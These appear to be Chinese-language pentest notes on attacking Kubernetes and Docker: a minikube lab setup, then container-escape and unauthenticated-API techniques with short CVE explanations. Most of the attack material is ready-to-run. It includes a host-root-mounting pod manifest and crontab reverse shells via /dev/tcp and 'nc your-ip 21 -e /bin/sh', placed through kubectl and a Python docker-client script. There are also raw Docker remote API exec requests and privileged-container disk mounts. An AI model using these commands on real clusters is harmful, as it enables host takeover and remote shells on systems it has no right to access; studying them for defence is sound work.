容器扫描器
https://www.dosec.cn/article/id/50.html
环境搭建
在线学习平台1
https://magicsandbox.com
本地最小平台1
2https://minikube.sigs.k8s.io/docs/start/
https://kubernetes.io/zh/docs/tutorials/hello-minikube/
创建集群
minikube
1、环境搭建1
brew install minikube
2、启动1
2
3minikube start
在中国
minikube start --image-mirror-country='cn' --image-repository='registry.cn-hangzhou.aliyuncs.com/google_containers'
3、访问集群1
kubectl get po -A
4、部署应用
5、访问服务1
2minikube service hello-minikube
kubectl port-forward service/hello-minikube 7080:8080
6、管理集群
7、启动 kubernets 管理面板
攻击kubernets
先看官方文档说明1
https://kubernetes.io/zh/docs/concepts/security/controlling-access/
所以默认访问localhost:8080即可查看api
利用工具 kubectl 来控制容器1
2
3
4
5
6获取所有节点
kubectl -s http://127.0.0.1:60497/ get nodes
获取所有容器
kubectl -s http://127.0.0.1:60497/ get pods --all-namespaces=true
在容器中获得一个交互式shell
kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
利用api 获取宿主机权限创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell
创建新的容器
myapp.yaml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
获取该容器的交互式shell1
2
3
4
5
6https://kubernetes.io/zh/docs/tasks/debug-application-cluster/get-shell-running-container/
// 本地测试提示没权限,不知道为啥,但是可以通过web界面直接进入容器
kubectl --server http://127.0.0.1:60497/ exec -it shell-demo -- /bin/bash
echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
容器安全
1 | Docker 镜像的主要利用来源之一是易受攻击的包。例如,使用易受攻击的影子包的 Docker 镜像漏洞 (CVE-2019-5021) 允许任何拥有 shell 访问权限的用户或黑客提升他们在容器内的权限。另一个易受攻击的包是 sqlite3 3.26.0,该包存在允许远程代码执行的漏洞,如果攻击者发送恶意 SQL 命令,则会受到攻击。 |
CVE-2019-5021
自 Alpine Linux 3.3 版本开始的所有 Docker 镜像中,root 用户包含一个空密码,这可能会导致攻击者获得 root 权限,进而造成攻击。
CVE-2019-14271
CVE-2019-14271是Docker cp命令实现中存在的一个安全问题,攻击者可以利用该漏洞实现完整的容器逃逸.
利用1
2需要控制容器,篡改libnss_*.so库
当宿主机执行 docker cp 命令时,触发漏洞
CVE-2020-15257
1 | 攻击者可以借助这个漏洞突破容器命名空间隔离,实现容器逃逸。影响containerd 1.3.x, 1.2.x, 1.4.x版本,需要启动容器时使用 host 模式 --network=host |
知识点:
一、
在使用docker run命令创建并运行容器时,可以使用–network选项指定容器的网络模式。Docker有以下4种网络模式:
1) none:这种模式下容器内部只有loopback回环网络,没有其他网卡,不能访问外网,完全封闭的网络;
2) container:指定一个已经存在的容器名字,新的容器会和这个已经存在的容器共享一个网络命名空间,IP、端口范围一起在这两个容器中也可共享;
3) bridge:这是docker默认的网络模式,会为每一个容器分配网络命名空间,设置IP,保证容器内的进程使用独立的网络环境,使得容器和容器之间、容器和主机之间实现网络隔离;
4) host:这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题。
二、
通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息。
在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息,如下所示:
但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix文件,显示的就是真实主机中的信息,如下所示:
1) /var/run/docker.sock:Docker Daemon监听的Unix域套接字,用于Docker client之间通信
2) /run/containerd/containerd.sock:containerd监听的Unix域套接字,Docker Daemon、ctr可以通过它和containerd通信
3) @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:这个就是上文所述的,containerd-shim监听的Unix域套接字,containerd通过它和containerd-shim通信,控制管理容器。
/var/run/docker.sock、/run/containerd/containerd.sock这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享mnt命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock、/run/containerd/containerd.sock这样的路径连接对应的Unix域套接字。
但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字不一样,它没有依靠mnt命名空间做隔离,而是依靠网络命名空间做隔离,也就是说,host模式下,容器共享了主机的网络命名空间,也就能够去连接@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字。
而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。
在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
docker remote api 未授权访问
1 | 为了实现集群管理,Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令。启动Docker Daemon时,加入-H 0.0.0.0:2375,Docker Daemon就可以接收远端的Docker Client发送的指令。而此时docker rest api(默认端口2375)认证的缺陷,把2375端口作为非加密端口暴露出来,没有任何加密和认证过程,只要知道Docker主机的IP,任何人都可以匹配到这个端口,进而触发安全漏洞。若Docker存在未授权访问漏洞,访问http://host:2375/containers/json时,会返回服务器当前运行的container列表,和在docker CLI上执行docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成 |
命令1
2
3docker -H ip:2375 ps -a
http://IP:2375/containers/json
获取所有的容器列表1
curl -i -s -X GET http://<docker_host>:PORT/containers/json
1 | POST /containers/5b14c019184f654df480d699e4708ac5e4ce8363d45ab5861f064c0d16a9c69f/exec HTTP/1.1 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /exec/bcd0bff3000999c540bf144e347b468e7a45ceb9d3054bc14587819bfb8a4c04/start HTTP/1.1
Host: 127.0.0.1:2375
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 38
{
"Detach": false,
"Tty": false
}
Docker python api
利用python 搞计划任务1
2
3
4import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
–privileged 利用
启动Docker容器。使用此参数时,容器可以完全访问所有设备,并且不受seccomp,AppArmor和Linux capabilities的限制。1
2
3
4查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /aa
将宿主机/dev/sda1目录挂载至容器内 /aa: mount /dev/sda1 /aa
即可写文件获取权限或数据
docker.sock暴露到容器内部
1 | 在容器中: |
就可以利用api进行控制宿主机
Shipyard和Portainer
1 | Shipyard 是一个基于 Web 的 Docker 管理工具,支持多 host,可以把多个 Docker host 上的 containers统一管理;可以查看 images,甚至 build images;并提供 RESTful API 等等。Shipyard 要管理和控制Docker host 的话需要先修改 Docker host 上的默认配置使其支持远程管理。 |
1 | Shipyard |
容器信息收集
可用命令收集
1 | "curl", |
容器目录挂载情况
1 | 检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入/etc/crontab或/root/.ssh/authorized_keys. |